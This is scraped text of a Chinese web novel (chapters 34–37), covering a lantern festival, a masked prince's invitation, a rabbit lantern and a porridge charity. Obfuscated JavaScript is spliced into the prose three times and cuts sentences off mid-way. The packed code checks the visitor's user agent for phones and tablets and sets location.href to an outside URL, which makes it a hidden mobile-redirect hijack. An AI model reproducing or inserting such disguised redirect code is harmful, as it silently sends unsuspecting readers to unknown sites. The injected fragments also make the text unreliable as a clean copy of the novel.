;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681394|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成暖红色,衣袖上的铜扣和发上的银饰在火光的照耀下闪烁,天上一片星光,地上也是一片星光。 “阿爸!”一个八岁的少年喊道,声音虽稚嫩但却带着一股天生的傲气,“看我今日新猎得的狐狸!” 少年跑到一个男人身边,骄傲地将身后洗净的白狐摆在男人面前。那白狐毛色雪白绒密,光泽透亮。 “哈哈哈!”男人爽朗的笑声响彻着整个夜空,他拍拍少年的后背,“我儿颇有我当年的风采啊!” “我要把这只白狐做成狐裘,送给阿妈!”少年说着,眼睛亮亮地看着男人身边坐着的一个美妇人。 那妇人伸手慈爱地摸着少年的头,欢心道:“阿妈有你阿爸送的狐裘,你的狐裘啊,到时候是要送给自己心悦的姑娘。” “安儿没有心爱的姑娘。”少年道。 “会有的,安儿以后就会有的。” 妇人笑眯眯继续道:“那姑娘会让安儿以后念念不忘,会让安儿想把世界上最美好的东西都给她。” 有人往篝火里撒了一把香料,青烟腾起,空气里弥漫着茴香与肉香混合的气味。火焰发出噼噼啪啪的声响,人们欢乐地又唱又跳。 “主君天福!” “君后地福!” “小主君万福!” *** 展颜带着秋果跑回街上的时候,正巧赶上了京城里的游灯。 街市上的人与酉时那会儿相比多上了许多,除却给游街的花灯腾出来的一条窄窄长长的道,一旁的路两侧都是人,铺子里也都站满了,很难找到一处空余的地方落脚。 长街尽头,游灯的队伍已经缓缓走来,随着一阵敲锣打鼓的乐声愈来愈近。 展颜和秋果被拥挤在路两侧等着看游灯的人们不断挤压着,推搡着,逐渐推到最前一排。 等会儿从这条路往前走,过一座小桥就可以很快回到展府。 展颜踮脚向路尽头望着,在心里盘算起来。 “哎!” 不知道哪里伸出来的一只手,也不知是有意还是无意,狠狠地在展颜的左肩上推了一掌。 本就踮着脚重心不稳,被这么一推,展颜直接向前一个踉跄,往地上栽去。 就在她以为要摔个狗吃屎时,一只手及时挽住她的胳膊,将她整个人轻轻松松地捞了起来。 身后的游灯队伍正巧经过,将路严严实实地分成了两半。 借着力站稳,展颜理了理有些凌乱的衣装,抬头欲与这位扶住她的好心人道谢。 只见面前之人戴着一张金色的面具,盖住了眉眼,只能看到下半脸。但看他衣着规整华丽,手持一柄折扇,那面具也是雕琢得极为精细,一看就知道不是寻常人家。 “多谢贵人出手相助。”展颜行礼道。 那人却只是笑着,也不开口。 “姑娘!” 展颜听见游灯队伍对面秋果的叫唤声,但被挡着,看不见她的人。 游灯很长,一时半会儿过不完,展颜只能耐心等着。 “秋果你放心,我在这呢,一会儿等游灯结束了我就过来!”她抬高声音喊道。 只听身后那个面具人轻笑出声。 展颜回头。 面具人轻点着手里合着的折扇,低语道:“展二姑娘何必如此心急,既然在这人海里遇上了,也是说明你我有这缘分,不知姑娘可否赏我一份薄面,上这金顶阁聊上一聊?” 面具人说着,抬手指指身后的金顶阁,那座京城里最富贵的酒楼。 “你认识我?”展颜疑惑,自己何时认识一个面具男? “见过两次,但姑娘恐怕不记得在下了。” 34.花朝4 展颜只愣着端详了他好一会儿。两次?她竟还见过这人两次面,完全没有印象啊。 若不是又是什么她书里没有涉及到剧情?要真是如此,她对他没有任何印象,又该如何应对? 见她一脸疑惑,面具人也不绕弯子了,轻轻撩开自己的袖口,将袖子往上拉了点。 只看了一眼,展颜便瞬间倒吸一口凉气。那规整的衣袖之下,绣着花纹繁复的金蟒,从袖口一直往衣袖里头蔓延。针脚细致,是只有宫里头的绣娘才能有的绣工。 金龙为圣上的象征,而这金蟒,是皇子,这人是……傅朝尘! 傅朝尘见展颜露出惊讶的神色,心里清楚她已经明白自己的身份,再次欠身,折扇轻指金顶阁。 “走一趟吧?展二姑娘?” 皇子在前,她一臣女如何能够拒绝,若是不去便是驳了皇室的面子,到时候指不定会给爹招来横祸,可若是她今日就随着傅朝尘去了金顶阁,她还能活着出来吗? 想到原书的结局,展颜不免颤栗。 傅朝尘来找她做什么,他要是找盟友应该去找祁浮生,若是要找结亲的对象应该去接近展清梦啊?怎么会在花朝节找到剧份极少的她。然从眼下的情况来看,傅朝尘今日找她绝不是一时兴起,展颜甚至怀疑刚才推她一掌的人大概率也是他安排的人。 咽下口唾沫,她决定跟着傅朝尘去一趟金顶阁,看他到底所谓何事,想来他如今根基未稳,又是第一次正式约面,他也不会干出什么意料之外的事。 展颜斟酌开口:“回殿下,还请臣女和自家的丫鬟知会一声,不至于到时候找不到臣女的人影,又不知臣女去了何处,她们又该担心了。” “自然。” 得到允许,展颜隔着游灯唤秋果:“秋果!” 眼前盏盏花灯掠过,展颜勉强可以从细小的空隙里看见对面焦头烂额的秋果。 “在的姑娘!” “我得友人相邀,去那金顶阁坐坐,你一会儿就到那巷口等我,若是有人问起,就说我戌时定然回来……听明白了吗?” 秋果又道:“怎会这般突然?姑娘你还是再等等!等秋果过来了,秋果陪你一起去——” “听明白了就好!”展颜截住秋果的话头,少说少错,少说傅朝尘知道的越少。 “明白了姑娘!” 展颜又转身对上傅朝尘藏匿于面具之后的双眼,微微笑道:“殿下请。” “请。” *** 金顶阁不愧是燕京城里最奢侈的酒楼,坐落在最繁华的主街上,朱漆金钉的大门高阔,门前两座汉白玉雕琢而成的麒麟兽昂首怒目,爪下平日里可以活动的玉球,现下换成了应景的琉璃花灯,闪着五彩的光。 进了大门,迎面的就是通天彻地的金丝楠木柱,楼内分为三层,穹顶雕刻着一副巨大的“仙宴图”,周围悬挂着千盏琉璃灯,每盏灯罩都不相同,灯里用的灯油是从南海送来的名贵鲸油,无烟无影,只萦绕着一股幽香。 展颜跟在傅朝尘的身后走进这金顶阁,最底下一层,供给宾客们看舞听曲,吟诗作对,正中间是一座装饰好的木台,歌姬的清亮嗓音和舞女们翩飞的衣裙笼络在一处,吸人眼球的很。 二楼是满满一层的雅间,以薄薄一层的云母相隔,透若无物,但却影影绰绰看不真切,倒是与如意茶馆里隔间的薄纱有着异曲同工之妙,不愧是出自江宜苏一人之手。 傅朝尘带着展颜上了二楼,先行进了一间早已准备好的雅间之内。 果然是有备而来,展颜在雅间外顿住脚步。 “展二姑娘何不进来坐着,站在外头难免累着,还是说,展二姑娘怕我?” 傅朝尘在案边坐下,摘下面具,随后便板着身子坐着,直直看着站在门口的展颜。 雅间的外头站着两个穿着便装的侍从,打扮的就像店里的小厮,但从身板上来看,展颜觉得他们只要动动手指就能把自己拍死。 皇子隐藏身份出宫,定不会只带着区区二人,指不定在暗处还藏着多少人。 毕竟是自己同意跟来的,现在看情况就是要逃也是绝对不可能的事,况且她也想知道傅朝尘葫芦里卖的是什么药。展颜正正神色,摆出一个会心的笑来,抬脚进了雅间,门在身后关上, “怎么会呢?”展颜走至案前,坐在傅朝尘的对面。 “二姑娘莫见怪,是我想多了。” “不知殿下今日找臣女来所谓何事?方才臣女也同下人们说了,戌时之前要回去的。” 展颜把约定地点定在方才的巷口,是为了给自己留一条退路。祁浮生虽说很是危险,但与傅朝尘相比较,展颜还是更愿意相信在危机时刻,他更可能救自己一命。 “殿下说见过臣女两面,可臣女只记得在殿下回京的那日匆匆见过殿下一眼。” “还有一次,是在狩猎那日。”傅朝尘开口道,“见姑娘仿若初学骑术,但那生涩的模样还是给我留下了很深的印象。” 这话……怎么听怎么不对劲。 “那日听闻二姑娘之后受了伤,我心里也是很焦急,但宫里事务繁多,一时抽不开身,只能等到今日花朝见上二姑娘一面。” 展颜道:“臣女与殿下仅仅两面之缘,殿下不必如此挂怀。” 言下之意,我和你不熟。 傅朝尘闻言只是饮下一口茶,展颜观不出他情绪的变化。 但她算是听明白了,这人的发言不就是纯纯小说里那些渣男的花言巧语吗?第一步,开始有意无意展示他的关怀。 “二姑娘毕竟是展太傅的爱女,我作为皇子,儿时深受太傅的教导,怎能算是生疏,又怎能漠不关心。”傅朝尘见直接从展颜为突破口进行的关心起不到预想中的作用,便开始拉上展太傅作为说辞。 展颜也不是傻的,听傅朝尘这么一说,自然能察觉出他的目的。 又变了。 狩猎上被傅朝尘盯上的应该是展清梦,但那场意外因为展颜的干扰转移到了她自己的身上。 之前傅朝尘那边一直没有动静,展颜还以为这次狩猎与他的剧情戏份再一次被跳过,可如今看来,只是换了一个对象。 “殿下说笑了,臣女多谢殿下关心。”展颜应道。 可是相比于傅朝尘看上展清梦,展颜倒觉得傅朝尘盯上的人是自己未必是一件坏事,如今看来这傅朝尘肯定不会害自己。或许她可以先钓着傅朝尘,先苟着,只要不影响展清梦和祁泽川之间的关系,她只要保证自己的安全,其他的都不算什么大事。 “今日找上二姑娘不仅是为了与姑娘寒暄,还有一事要告与姑娘。”傅朝尘略微停顿,语气真挚道,“不过几日就是我的生辰,我已与父皇说了不用大办,只是在自己府上邀请朝中几位关系近的长辈们聊上几句。” “先前就已经送过书信到展府上邀请过太傅,只不过太傅说家中儿女上不了台面,恐是得罪了我,便只是答应自己来。 “但本王今日得见二姑娘倒是不与太傅口中所说的那般,反倒是德才兼备,举止端庄,貌似仙人。若是二姑娘愿意,可否一同来参加我的生辰宴?” 是否愿意?她若说不愿有用吗?若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692389|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这次拒绝,他日后定还有千千万万的办法。 “那臣女倒是恭敬不如从命了。”展颜假意道。 “二姑娘蕙质兰心,在我面前不用如此拘束。”傅朝尘说着,便还要往展颜面前的茶盏里斟茶。 展颜站起身:“不必了殿下,既然话已经说完,臣女就先行离去了。” 抬起的手一顿,傅朝尘道:“也好,二姑娘慢走。” *** 从雅间里出来后,展颜如获新生般长舒一口气。 这傅朝尘表面上看起来文质彬彬,若是寻常人家的女子,早不知道被他这三言两语迷惑成什么样了。 展颜迈步下楼,还不忘回头望上一眼,没有人跟着。 她又瞥了一眼一旁放着的滴漏,已经是戌时了。完了完了,迟到了迟到了。祁浮生那个家伙若是已经回来,寻不着她,定然又要气了。 想着,展颜加快了脚下的步子。余光见到身边一女子手里拿着的花灯,她一拍脑袋,眼睛一亮,有了! 她走下楼不一会儿,傅朝尘也出了雅间,站在二楼的回廊处往下看着展颜的背影。 “真是和旁的姑娘不同。”他道,先前摆出的温和表情消失得无影无踪,“有意思。” “殿下,可要命人继续跟着展二姑娘?”侍卫低声道。 “不必了,江南的那批人处理好了吗。” “回禀殿下,都处理好了。” 傅朝尘点头。 二楼另一侧的回廊上,阮芊芊手把着栏杆,脸憋得通红。 她刚亲眼看着展颜从三皇子的雅间里走出来! 这个小贱人!勾搭祁家还不够,竟还勾搭上了三皇子! 她今日好不容易打听到三皇子出宫在金顶阁的消息,虽然不是太子,但好歹是三皇子,她总要来碰碰运气。打扮好了,准备好了,结果被下人无情拦在廊道里,连雅间的门都不让靠近,任她如何说磨破了嘴皮子都没有用。无奈之下只能在外空等,只等着三皇子处理完要事。 可谁知三皇子见的人是展颜!阮芊芊是又惊又气,她展颜凭什么运气这般好! *** 巷子口。 “你家姑娘不是说戌时一定到吗。”祁浮生已经回来了,找不到展颜身影自然生气,但好在秋果及时回来,向他道了原委,便也暂时压住自己脾性。 他等她。 可是她却还未回来。 “姑…姑娘说会来,定…定然不会食言。”秋果紧张结巴道。 越等,祁浮生的气压越低,整个人像是冒着一团黑气,安福和秋果两人站在他身后瑟瑟发抖。 “你家姑娘呢!”安福小声蛐蛐道。 “姑娘说一定到的。”秋果瞪了安福一眼。 又等了一刻钟,望着街道上的人开始稀疏起来,祁浮生心里的滋味越来越不好受。 是不是他之前吓到她了,祁浮生不免想到,随后又自嘲一笑,自己什么时候开始为她思考了。 但到底还是为自己先前的行为感到懊恼,算了,她要是现在出现,香膏的事情,我就不与她计较了,祁浮生后退一步。 可是,展颜还是没有出现。 就在他觉得展颜今日不会再出现的时候,街尽头,一个小小的光点晃悠悠地越来越近。 一盏兔子灯。 少女提着一盏兔子灯。 “怎么?见到我人傻了?”清亮亮的声音响起,灌进祁浮生耳朵里。 就是这个声音。 展颜手里提着兔子灯,气喘吁吁地站定在祁浮生面前。 35.花朝5 面前的人因为赶路和奔跑,一张笑脸在兔子灯的映照下红扑扑的。 祁浮生一时屏住了呼吸。 出了金顶阁的大门,展颜就在寻找最近的花灯铺子,想要买一盏花灯。祁浮生一定没有收到过别人送的花灯,那她就送他一个,当作迟到的保命符,希望他可以放她一马。 可是兜兜转转都找不到一个花灯铺子,好不容易找到一个,展颜挑了半天都没有喜欢的,就加了钱,临时让老板做了一个新的。 毛茸茸的小兔子灯,她还让老板给兔子画上了一个大大的笑脸。 “祁浮生!喏!给你的!” 展颜伸手,将花灯举到祁浮生的面前。 被灯光晃到眼睛,祁浮生向一侧偏过头,眼里一时痴住的神色马上切换成了之前赌气的模样。 刚才懊悔的样子一下子被掩藏起来。 “怎么?迟到了拿这个糊弄我?这花灯这么丑,这兔子也笑得这么丑,我才不要!”祁浮生后退一步,抱臂皱眉道。 “这不是给你去买花灯才迟到的嘛。”展颜放软声音哄道。 经过傅朝尘那半绑架式的邀请之后,她现在是觉得祁浮生怎么看怎么顺眼。 他是一生气就没有好脸色,比傅朝尘那背后的虚与委蛇要好猜的多。不对,根本就不用猜,他心里想的什么,从来在她面前就没有隐藏过。 “真的?” “真的真的!”展颜点头。 真好骗。 “……不要。” 展颜:“……” 小兔子又不好骗了。 祁浮生转过身,向街的另一头迈开了步子,耳尖可疑的红晕在夜色里看不真切。 展颜拿着花灯,登登登跟上祁浮生,他走她跑,勉强跟在祁浮生身旁。 祁浮生低着头。 “生气啦?”展颜歪头从下往上观察祁浮生的表情。 可他马上又昂起脸,这回她是真的看不到了。 “你拿着吧!”展颜直接拉过祁浮生的手把花灯塞进他的手里。 “你——” “我累了拿不动了。”展颜道。 前头这一来一回,看得身后跟着的两人是心惊胆战。 安福:公子哎,别气了,刚才是谁等人等到黑脸啊…… 秋果:姑娘啊,别惹他了,当心小命啊…… *** 两人走在街上,一人拿灯,一人东瞧瞧西看看,就是默契得没有开口提之前发生的事情。 “你摸过铜钉了吗?”街上走着的一个姑娘对着另一个拿着花篮的姑娘道。 “摸过啦,一早就上城门口摸了。” “怎么样,你许的什么愿?” “我想……” …… 展颜听着两个姑娘的对话,摸铜钉?摸什么铜钉? “祁浮生,什么是摸铜钉啊?” 祁浮生闻言道:“就是摸城门上的铜钉,边摸边许愿,也是花朝的一个习俗。” “灵吗?你许过吗?”展颜一向对许愿这种事情很感兴趣。 “没许过。” “没许过?那怎么行!”展颜指着前面在不远处的城门,还能看到门下站着一些人,“就在前面!我们去许一个吧!” “有什么好许的,无聊。”祁浮生拒绝。 可那披着黄色批帛的小人儿已经往城门口跑远了,祁浮生无奈只能跟上。 站在城门口,展颜挑了一个好位子,郑重地清清嗓子,将手放在城门的一个铜钉上,开口道:“我希望我们全家身体健康!” 祁浮生站在一旁听着,没有动,只是看着眼前又蹦又跳的展颜,见她又挪步到另一个铜钉面前。 “我希望天下有情人终成眷属!” 说罢,她又换了一枚铜钉。 “我希望我长命百岁!” “我希望天天都有好吃的!” “我希望……” …… 展颜将下面可以碰到的铜钉几乎都摸遍了。 祁浮生手里拿着兔子灯,板着的脸渐渐柔和下来,看着展颜在面前一会儿站起来一会儿蹲下去的样子,唇角微微勾起。 “我希望……”展颜偷看祁浮生一眼,他不许,那她帮他许一个,“祁浮生可以天天开心!浮生若梦,所愿皆得!” 天天开心,最好开心点,别想把我噶了。 祁浮生闻言一愣,眼晴微怔,难以察觉的咽下一口唾沫,握着兔子灯的手指紧了紧。 展颜偷瞄他,这人到底听见没有啊,还是这副欠他几百万的模样。 算了算了,还有一个愿望。展颜收回注意力,努力踮起脚,向上伸出胳膊想要触碰上头最后一个铜钉,可是铜钉的位置太高,又蹦又跳,够不着,根本够不着。 “喂。” 展颜回头,看着祁浮生提着灯走过来,他站定在她面前,将花灯塞回她的手里。 这是什么意思?他还是不要这盏灯啊。 展颜还没反应过来,手里拿着灯,顿觉脚下一阵失重感,双脚悬空。 “你——哎哎哎!”展颜惊叫。 祁浮生微俯下身,没有半句废话,直接将展颜抱了起来。展颜坐在他的臂弯上,两眼一闭吓得一动都不敢动,两手下意识撑在他的肩膀上。 要抱人能不能先开口提示一下啊! 她有点恐高。 一旁站着的安福和秋果皆是倒吸一口凉气。 还有一些人投来艳羡的目光。 “还摸吗?不摸算了。”见她半天没有动作,祁浮生开口,声音有点暗哑。 展颜啪得睁开眼:“摸!”正事还是不能忘。 她颤巍巍伸出右手放在冰凉的铜钉上,缓缓开口道:“我希望…我可以早日回家!” 身下托举她的手明显颤动了一下。 祁浮生闻言一皱眉,双手向下泄力,将人放下一半后突然松开手。 “哎哎!”展颜突觉失重,腿都软了,一屁股摔坐在地上。 “祁浮生!你故意的!”展颜对着祁浮生道,却见面前之人又不说话,脸像被冻住一般,刚刚还好好的,怎么又气上了? *** 顺着城里的河道往展府方向走着,展颜晃着手里的兔子灯,灯左摆右摆,照得她身后的影子也是左摆右摆。 展府上的人方才来报信,说是时辰不早,大姑娘已经回府,让二姑娘算算时间,也可以回来了。 展颜匆匆应下,但是现在还有一个人没搞定呢,她边想着,边看着走在她前头的祁浮生。 不知道刚才到底是哪句话得罪他了,这人真是比姑娘还难以捉摸。 她走的快了他就快,她要是不走了,他又会停下来等着。 展颜的注意力都在祁浮生的身上,没有注意到街巷的角落里,有一双怯生生的目光盯着她。 一道黑影突然冲了出来,直接用力撞在展颜的侧腰上,随后是一阵透心凉的感觉,自腰以下的部分,被人用混着红漆的水泼了个遍。 “姑娘!”秋果赶紧扶住被撞得往地上栽的展颜。 展颜是已经被吓傻了,只看着做坏事的那人拿着水漂撒腿就跑。 是一个衣着破烂的小男孩。 听到身后的动静,祁浮生这回总算是回头,逃跑的小男孩不知道这个走在前面的哥哥是和被自己泼水的姐姐一伙的,一时大意,没有躲过,被祁浮生伸手揪住了后领。 “别抓我!别抓我!”小男孩挣扎着。 祁浮生语气阴森森道:“你大可以再动一下试试。” 男孩看着面前的祁浮生,吓得顿时抖成了筛子。 展颜缓过神,深吸一口气,拖着湿透沉重的衣裙走到小男孩面前,皱眉装怒道:“为何泼我?” “姐姐对不起!姐姐你放过我吧!”小男孩哭着。 “好好好,我不会为难你的。”展颜放柔声音,她最怕看到小孩子哭了,“但是我和你无冤无仇,你要告诉我是谁指使你这么做的?” 小男孩见展颜并没有生气,反而是温温柔柔地同他说话,相比身后凝视着他的那个大哥哥好多了,于是悄悄挪动脚步,往展颜身边靠过去。 “姐姐,方才有很多姐姐结伴到我们贫民栖身的破屋棚,说你是坏人,专门贪污朝廷给我们难民拨的救济银然后自己拿去买珠宝首饰。对了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这是她第二次感受到这个世界的疾苦了,上次是在青龙寨的时候。这个世界不应该是这样的,她创造的世界里,只有坏人才应该得到罪有应得的惩罚,为什么会有这么多无辜的人生活在水生火热之中。 “走吧。” 展颜转过身往展府走,手里还拿着花灯,幸好方才泼来的浑水没有把烛火扑灭。 *** 夜已深,街上也渐趋寂静,展颜走至展府大门前。 “我走啦。”她对祁浮生淡淡说上一句,抬脚上了石阶。 “等等!”祁浮生道。 “嗯?”展颜疑惑回头。 祁浮生略显窘迫,指了指展颜手里的花灯:“那个,不是送我的吗。” 展颜:“?” “你之前不是嫌弃它丑吗?” “丑是丑,但好歹是一盏灯。”祁浮生又道,“正好我院子门口的那盏灯笼昨日坏了,用你这花灯应付一个晚上,看这兔子笑得歪歪扭扭的样子,说不定还可以辟邪。” 展颜:“……” 不会说话可以不说。 “没见过送了人的礼物还有收回来的道理。”祁浮生道。 秋果从展颜手里接过兔子灯转交到安福手里。 “这下可以了?”展颜道。 “……嗯。”祁浮生回道,目送着展颜进了展府,大门在面前吱呀关上。 祁浮生向安福伸出手。 安福疑惑道:“公子这是要?” “把我的灯给我。”祁浮生叹口气。 “哦哦!好的公子!” 凝视着手里的兔子灯,薄薄的灯纸里,暖融融红彤彤的火光摇曳闪烁着,这样子的兔子灯他还真是从未见过。 逐渐远离展府,安福跟在自家公子身后,看着公子一路上一直盯着那盏花灯看个不停,一个在他心里憋了好久的问题还是忍不住问了出来:“公子,咱院子里的灯笼不是昨个儿刚换的吗?我记得也没有坏啊?” 祁浮生闻言手下动作一顿,声音里带着被拆穿的羞恼,没好气道:“我说坏了就是坏了,你这月的月银扣一半,连灯笼是好是坏都分不清。” “别呀公子!”安福悲催道。 “全扣光!” 36.帷帽1 燕京五月多雨,细雨如牛毛,已经断断续续下了五六日。 自花朝过后,展颜先是赶紧换下了身上的香膏,她是再也不敢用了。这次失误祁浮生没有追究算她走运,之后每次提笔写信,展颜总要先问问秋果自己身上还有没有什么香粉味才肯安心。 “姑娘真的没有了。”秋果对着连问三次的展颜不断点头,“你每日都要洗好几次澡,真的闻不到香膏味道了。” 秋果觉得再照着姑娘这种洗法,身上都要掉层皮。 祁浮生这几日“安分”了许多,不知道和花朝那日他突然发作的头疼有没有关系,这几日他只写了一封信,并且展颜送过去的那封回信到现在还没有得到回音。这也未免不是一件好事,不用日日如赶稿般挤出回信,展颜觉得轻松了许多。 为了祁浮生突然头疼这事,她还特地问了系统,结果不出所料,得到的回应还是不清楚不知道。 我要你有何用?展颜看着眼前的系统不免想到。 但最让她疑惑不解的地方还是男女主的好感度。按道理来说,这次花朝节过后,祁泽川和展清梦的关系是肉眼可见地亲密不少,那这好感度怎会没有半点提高? 对此,系统信誓旦旦地表示好感度统计并没有发生失误。展颜不信,叫它更新的时候一并查查是不是出错了。 *** “爹,真的不用叫上阿颜吗?”展清梦跟着姜燕回上了马车,打开车窗向外问道。 先帝有遗旨,每年都要找一个时间到寺庙里施粥体恤百姓,不仅是给来往流亡的难民一个栖身之所,也是想让自己的子民们看到燕国的国泰民安。 但自先帝去世之后,如今的圣上一开始每年还会亲临施粥,到了后来来的次数少了,问的次数也少了。久而久之也就根本不再过问。要不是展五德和祁峰还有一些大臣每年自掏腰包延续这道先帝遗旨,这道善举早就不知被人们遗忘到了何处。 展清梦有问过爹为何不尝试唤上圣上一起,却只见爹叹息摇头,沉默良久后开口说道:“人一旦放弃了什么就很难再拿起来,甚至比一开始做准备的时候还要花费心力,还要难。” 展五德没有再说,但言语里可见对圣上的失望。这份失望是从何时而起的?是从圣上不再虚心纳谏开始的,还是从圣上不顾他极力劝阻还是执意要攻打西凉开始的,展五德已经记不清了。 今年施粥的地点定在香积寺,东西早就已经准备好了,展府的门前停着几辆马车,整装待发。 因为去年展颜在施粥时不仅把粥撒了,还一直嚷嚷着让庙里的小和尚拿着拿那,不仅半点忙没有帮上,回府后还扬言无聊至极,发誓下次再也不去。对于她这实在闹人的脾性,展五德第一次对她发了火,平时的小打小闹无妨,但要是牵扯到国事,他定然还是严厉待之。 今年的施粥,展五德没有叫上展颜,既然她不想去,那就不用去了,省的又生出什么麻烦。 “算了,让颜儿自己待在府里吧。”展五德叹口气。 马车前的马儿跺着脚,马蹄踩在地上的水洼里,发出“嗒嗒”的声响。 雨刚停,地上还有点湿。 “姑娘!姑娘你慢点!”秋果手里抱着展颜昨日晚上就收拾好的包袱,喘着气小跑着跟在展颜身后,“慢点跑姑娘,地上有积水当心摔着!” 展颜手里也抱着一个包裹,昨晚她就听说了施粥的事情。仔细一想,这不是正好?花朝节上那个男孩不是说有人辱她名节?那正好借着这次机会把自己的名声给赚回来。 秋果帮她回忆了去年施粥的一幕幕,展颜是越听越觉得自己是个混账。为了展示自己的诚心,昨晚展颜在厨房与锅碗瓢盆大战了一夜,亲手做了好些吃食,有糕点还有些零嘴,准备在施粥的时候分给那些孩子们。 把东西包好后,展颜脑袋刚沾上枕头就睡着了,秋果昨晚帮了她一夜也是困得不行,本以为今早会有下人来叫她一道上路,结果一觉醒来看看日头就知道已经睡过头了。 没有人来叫她!为什么!怎么可以把她一个人丢在府里?她还要把自己的面子给赚回来呢。 “快点快点!来不及了!”展颜回应着身后的秋果,脚下的步子却不停,反而倒腾得更快了,“再慢点马车就走了,秋果你这体力不行啊,比我跑得还慢。” “姑娘你就别开秋果的玩笑了。”秋果欲哭无泪。 两人抱着比自己上半身还大的包袱,在廊道里穿梭着。 “等一下!等一下!”展颜冲到展府门口,开口喊道,“还有人没到啊!” 见到门口还未离开的马车,展颜终于停下,双手叉腰喘起了气。 赶上了,还好赶上了。 “小宝?”展五德揉揉眼睛,不敢相信问道。 “爹!你为何不叫上我?”展颜撇嘴道,额角冒着细汗。 见女儿跑得上气不接下气,展五德也是心疼,赶紧踏下刚上的马车,快步到展颜身边,给她顺气。 “你去年不是说不去吗,不气了啊,爹的错爹的错……你这是?”展五德看见展颜怀里抱着的包袱问道。 “这是我准备施粥的时候分给难民里的孩子的,都是准备的一些吃食。” 展五德闻言一愣,心想不过一年,这孩子还真是长大了,笑道:“好,好。阿颜有这份心爹爹很是欣慰。”他伸手轻拍展颜的脑袋。 “那快上马车吧,你阿姐和阿娘在里面等着你呢。” “嗯!” *** 香积寺庙里的空地上,早已经摆好了木架,今早刚煮好的白粥摆在桌上,弥漫出白花花的蒸汽,在空气里由浓变稠,消失不见。 祁家的人已经到了,祁泽川手下的护卫将难民们引到施粥处,一大群人有秩序地排好队伍。 马车在香积寺门外停下,展颜起身就要下车。 “阿颜等一下。”展清梦拉住展颜的胳膊。 “戴上这个。” 语罢,展清梦从马车内的一个小暗格 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祁浮生站在石阶上,看着戴着帷帽的展颜道。 他方才正在里头帮着忙,身边跑过一个小厮,急匆匆的样子,便将人拦下来询问情况。 “回公子,是管事的吩咐说展姑娘在外头候着,让小的去接。” “哪个展姑娘?”祁浮生接着问,墨色的瞳孔浓郁了些。 小厮还未回答,祁浮生就已经知道了答案。 展清梦在下人的引导下去了东边开药方子的地儿,隔着白纱,祁浮生也能将人认出来,展清梦是标准的闺阁小姐,走起路来温婉娴静,不拖泥带水。但若是展颜,就会踮着步子,一副随时会蹦跳起来的样子。 “我去接,你继续干活。”祁浮生脱口而出。 “可是……” “没有可是。” 果不其然,还没走到门口就见门边一个身影,左踱几步右迈几下,一会儿都闲不下来。头上戴着的帷帽随着风翩翩飞着,腰间的系着的带子也凌乱无序地飘着。 展颜闻言转过身,白纱拂过脸颊,祁浮生只觉心里咯噔一响,慌乱难耐,微皱着眉。 很像。 但记忆里的那人不是她,是展清梦,祁浮生平缓呼吸。 很奇怪,为何刚才看见展清梦的时候没有这种似曾相识的感觉。 “好久不见,祁浮生。”展颜回道,她庆幸自己现在戴着帷帽,因为白纱之下,她现在的表情极具戏剧性。 哪里好久不见了,明明花朝才见过! 还有!不是说是下人来接吗?没人说是祁浮生啊!祁浮生是下人吗?很明显不是啊! 展颜捏着秋果的手臂。 感受到自家姑娘的求助,秋果无奈只能极小声安慰道:“姑娘你忍忍,说不定是里头太忙了,祁公子闲着就出来接应一下,等到里头忙起来了,就不会碰着面了。” “好,我信你。” 37.帷帽2 *** “秋果你不是说他会走的吗,这人现在怎么还在这啊!” 展颜右手拿着一只大木勺,左手撩着袖口,一边舀着白粥分给排队的难民,一边侧过头小声与秋果讲话。 来了施粥的地方后,她就一直用余光瞟着一旁的祁浮生,她拿碗,他就将准备好的瓷碗一一摆在桌案上;她分粥,他就在一边等着,等着把庙里膳房送来的一锅新粥搬过来。 有活他就干,没活就找活干。反正就没有半点要走的意思。 “姑娘这……秋果也不知道。”秋果将馒头分给难民,怯生生地回道。 展颜透过白纱看向一边的祁浮生,他今日还是穿着一件墨绿色的衣裳,腰间别着条黑色的玉带,袖子挽起在肘臂上。 祁浮生通药理,明明新搭的药案那边要处理的杂事更适合他做,为何偏偏就跟她挤在这里。 展颜狐疑地往药案那边望去,这不看不要紧,一看吓一跳。 药案那边,展清梦坐在桌前抄着药方,祁泽川拿着展清梦写好的药方转身抓药,两人有说有笑,羡煞旁人。 展颜滴溜转着双目,收回视线。 难怪了,她说祁浮生今日这般古怪,原是因为看见自己的“白月光”和旁人站在一处生闷气啊。这要放在平日里,他早就应该到药案那边隔在两人中间,怎会像今日这样选择躲在一边。 但总归是觉得祁浮生今日的心情不好,一双眼恹恹低垂着,都快瞌上了。 展颜不敢开口说什么,怕一开口就在祁浮生的雷点上蹦跶,索性闭上嘴,在心里为他无奈,没办法谁让人家是男女主你是个男二呢? 只要这个时候他不叫她,不找她的事,不把对展清梦爱而不得的怨愤泄到她身上就好。 祁浮生将桌上的瓷碗一一摆正后,终是忍不住侧头看了一眼身边的展颜,两手略带不安地垂在身侧。 